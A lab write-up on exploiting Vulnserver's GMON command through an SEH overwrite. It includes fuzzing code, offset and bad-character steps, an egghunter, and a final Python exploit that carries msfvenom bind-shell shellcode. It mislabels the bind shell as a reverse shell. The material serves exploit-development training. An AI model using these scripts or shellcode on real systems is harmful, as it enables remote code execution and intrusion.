Vulnserver - GMON Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

1. Intro

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

Figure 1

You can get a copy of the application here https://github.com/zflemingg1/OSCE/tree/master/Vulnserver

2. The Setup

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

Figure 2

3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the GMON command. Observing that the valid argument structure for the GMON command is roughly <gmon>[space]<command_value> we can try sending GMON hello as a test and see if it’s accepted.

Figure 3

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the GMON command.

The following BOOFUZZ template was created to fuzz the GMON command in an effort to get the program to crash.

from boofuzz import *

host = '192.168.109.129'
port = 9999
	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("GMON")
s_string("GMON", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("GMON"))
session.fuzz()

3.1 Crash

The following command appears to have crashed the program indicating that the "GMON" command can be manipulated to force the program to crash

Figure 4

Figure 5

3.2 Analysing The Crash

Based on the TCP stream (Figure 4), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the GMON command and cause the crash:

Figure 6

Figure 7

As can be seen from Figure 6 the program crashes when a string of 5950 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 3531 bytes - Figure 7. As can be seen in the above images we have no control over EIP.

That said, If we review the SEH chain we can clearly see that we have control over the SEH chain - Figure 8.

Figure 8

4. nSEH & SEH Offsets

4.1 Create Unique Pattern

Using msf-pattern_create create a pattern of length 5000 bytes.

Figure 9

Restart the application, update the exploit as shown below and execute it

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Hit ALT + S once the program crashes and note the 'Address' value of the 'Corrupt Entry' (this will be nseh) and the SE-handler value above 'Corrupt Entry' (this will be the seh value)

Figure 10

4.2 Get nSEH & SEH Offsets

Next use msf-patten_offset to get the nseh and seh offsets

Figure 11 - nseh offset

Figure 12 - SEH offset

4.3 Confirm Offsets

Update the exploit and execute it to confirm that these offsets are correct:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "A" * 3495
payload += "B" * 4
payload += "C" * 4
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 13 - nSEH & SEH Offsets Confirmed

5. Bad Character Analysis

Clone the https://github.com/zflemingg1/OSCE/tree/master git repository and configure the dependency package as instructed.

5.1 Modifying The Script

Outlined below are the changes you will need to make:

# Modify lines 35 - 40 to be the same as below
'''
    INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME
'''
request_template = (
    "GMON/.:/{}"
)

# Modify Lines 46 and 56 to be the same as below

# CHANGE ME!
iteration = 0
processName = "vulnserver.exe" # name of the process as it appears in tasklist
executable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address = "\x0C\xFA\xB7\x00" # Take this value straight from immunity for wahtever register -- this one is ebp remeber little endian # Address or from one of the registers usually. try both
start_buffer_address_offset = 0x04 # The offset you want to read. Note this will typically be 4
seh_violation = True # Change me depending on crash occuring in seh handler 
listeningPort = 9999 # Address of the listening process
crashLoad = "A" * 3495 + "B" * 4 + "{}" + "D" * 1488 # load to crash the proces with {} representing where our test chars will go
responsive_test_string = "HELP"
crash_wait_timeout = 10 # seconds to wait after a payload has been sent
service_responsive_timeout = 10

5.2 Results

Execute the script. Once finished you should have identical results to those outlined below in Figure 14.

Figure 14

# Good Character Summary
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

# Bad Character Summary
\x00

6.0 Safe Pop Pop Ret

Using mona generate the seh.txt file by issuing !mona seh command:

Figure 15

Run Find-Safe-Address.py to identify all safe PPR address from seh.txt.

Figure 16

6.1 Confirm Safe PPR Address

Using the Find-Safe-Address.py script the following address was chosen 0x625010b4. Using immunity restart the application, set a breakpoint at 0x625010b4 and update the POC as shown below and execute it.

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "A" * 3495
payload += "B" * 4
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 17

As can be seen from Figure 17, SEH has been overwritten with our PPR address. Press shift and F9 to pass the exception to the program and you should hit your breakpoint at 0x625010b4 as shown below in Figure 18.

Figure 18

7. Jumping Out Of Small Buffer

Stepping through the PPR instructions into our buffer using F7 we can see that we have 4 bytes before we hit the SEH instructions - Figure 19. Unfortunately our D buffer is only 22 bytes which is too small to do anything with. This leaves us with two options. We can either perform a long jump backwards to the start of our A buffer, or we can implement an egghunter. For the purposes of this tutorial we will implement an egghunter.

7.1. Jumping Backwards

As can be seen in Figure 19, we have approximately 22 bytes remaining. Due to the limited buffer space remaining we will need to somehow jump backwards into our A buffer to gain more space. To do this we will perform a negative jump of 70 bytes backwards into our A buffer.

Figure 19

Figure 20

Restart the application, set a breakpoint at 0x625010b4and run the updated exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GMON /.:/"
payload += "A" * 3495
payload += "\xeb\xb8\x90\x90" # perform negative jump
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Figure 21

Stepping past our breakpoint and into our buffer we are met with out negative jump - Figure 21. Following our negative jump instruction we jump back 70 bytes into our A buffer - Figure 22.

Figure 22

8. Egghunter

At this point there is approximately 60 bytes of uninterrupted space under our control in our A buffer. This is more than enough space for an egghunter - typically 32 bytes. The following command was used to generate our egghunter. msf-egghunter -f raw -e b00b -v egghunter -p windows -a x86 -f pythonFigure 23.

Figure 23

8.1 Verify That Egghunter Works

The next step is to add the shellcode for the egghunter. Restart the application, set a breakpoint at 0x625010b4and run the updated exploit shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

egghunter =  b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
egghunter += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x30\x30\x62"
egghunter += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = "GMON /.:/"
payload += "A" * 4 
payload += "b00bb00b" + "A" * (3495 - 50)
payload += egghunter
payload += "A" * (3504 - len(payload))
payload += "\xeb\xb8\x90\x90" # perform negative jump
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Stepping into our breakpoint and taking the jump back into our A buffer we should see the instructions for our egghunter. Set a breakpoint at 00B7FFD4 and hit F9.

Figure 24

Figure 25 - Breakpoint Hit

Once our breakpoint is hit - Figure 25, follow it using F8 to the start of our located dummy code.

Figure 26

9. Generating Shellcode

Using all the information that we've gathered we can now generate the payload as shown below:

msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f python -v shellcode

Figure 27

9.1 Getting Shell

Restart the application and execute the updated POC shown below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

shellcode =  b""
shellcode += b"\xba\xf4\xe8\xa4\xee\xdb\xc2\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e"
shellcode += b"\x03\xa2\xe6\x46\x1b\xb6\x1f\x04\xe4\x46\xe0"
shellcode += b"\x69\x6c\xa3\xd1\xa9\x0a\xa0\x42\x1a\x58\xe4"
shellcode += b"\x6e\xd1\x0c\x1c\xe4\x97\x98\x13\x4d\x1d\xff"
shellcode += b"\x1a\x4e\x0e\xc3\x3d\xcc\x4d\x10\x9d\xed\x9d"
shellcode += b"\x65\xdc\x2a\xc3\x84\x8c\xe3\x8f\x3b\x20\x87"
shellcode += b"\xda\x87\xcb\xdb\xcb\x8f\x28\xab\xea\xbe\xff"
shellcode += b"\xa7\xb4\x60\xfe\x64\xcd\x28\x18\x68\xe8\xe3"
shellcode += b"\x93\x5a\x86\xf5\x75\x93\x67\x59\xb8\x1b\x9a"
shellcode += b"\xa3\xfd\x9c\x45\xd6\xf7\xde\xf8\xe1\xcc\x9d"
shellcode += b"\x26\x67\xd6\x06\xac\xdf\x32\xb6\x61\xb9\xb1"
shellcode += b"\xb4\xce\xcd\x9d\xd8\xd1\x02\x96\xe5\x5a\xa5"
shellcode += b"\x78\x6c\x18\x82\x5c\x34\xfa\xab\xc5\x90\xad"
shellcode += b"\xd4\x15\x7b\x11\x71\x5e\x96\x46\x08\x3d\xff"
shellcode += b"\xab\x21\xbd\xff\xa3\x32\xce\xcd\x6c\xe9\x58"
shellcode += b"\x7e\xe4\x37\x9f\x81\xdf\x80\x0f\x7c\xe0\xf0"
shellcode += b"\x06\xbb\xb4\xa0\x30\x6a\xb5\x2a\xc0\x93\x60"
shellcode += b"\xc6\xc8\x32\xdb\xf5\x35\x84\x8b\xb9\x95\x6d"
shellcode += b"\xc6\x35\xca\x8e\xe9\x9f\x63\x26\x14\x20\x9a"
shellcode += b"\xeb\x91\xc6\xf6\x03\xf4\x51\x6e\xe6\x23\x6a"
shellcode += b"\x09\x19\x06\xc2\xbd\x52\x40\xd5\xc2\x62\x46"
shellcode += b"\x71\x54\xe9\x85\x45\x45\xee\x83\xed\x12\x79"
shellcode += b"\x59\x7c\x51\x1b\x5e\x55\x01\xb8\xcd\x32\xd1"
shellcode += b"\xb7\xed\xec\x86\x90\xc0\xe4\x42\x0d\x7a\x5f"
shellcode += b"\x70\xcc\x1a\x98\x30\x0b\xdf\x27\xb9\xde\x5b"
shellcode += b"\x0c\xa9\x26\x63\x08\x9d\xf6\x32\xc6\x4b\xb1"
shellcode += b"\xec\xa8\x25\x6b\x42\x63\xa1\xea\xa8\xb4\xb7"
shellcode += b"\xf2\xe4\x42\x57\x42\x51\x13\x68\x6b\x35\x93"
shellcode += b"\x11\x91\xa5\x5c\xc8\x11\xc5\xbe\xd8\x6f\x6e"
shellcode += b"\x67\x89\xcd\xf3\x98\x64\x11\x0a\x1b\x8c\xea"
shellcode += b"\xe9\x03\xe5\xef\xb6\x83\x16\x82\xa7\x61\x18"
shellcode += b"\x31\xc7\xa3"

egghunter =  b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd"
egghunter += b"\x2e\x3c\x05\x5a\x74\xef\xb8\x62\x30\x30\x62"
egghunter += b"\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = "GMON /.:/"
payload += "A" * 4 
payload += "b00bb00b" + shellcode 
payload += "A" * (3495 - 50 - len(shellcode))
payload += egghunter
payload += "A" * (3504 - len(payload))
payload += "\xeb\xb8\x90\x90" # perform negative jump
payload += struct.pack("<I",0x625010b4)
payload += "D" * (5000 - len(payload))
		
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

Figure 28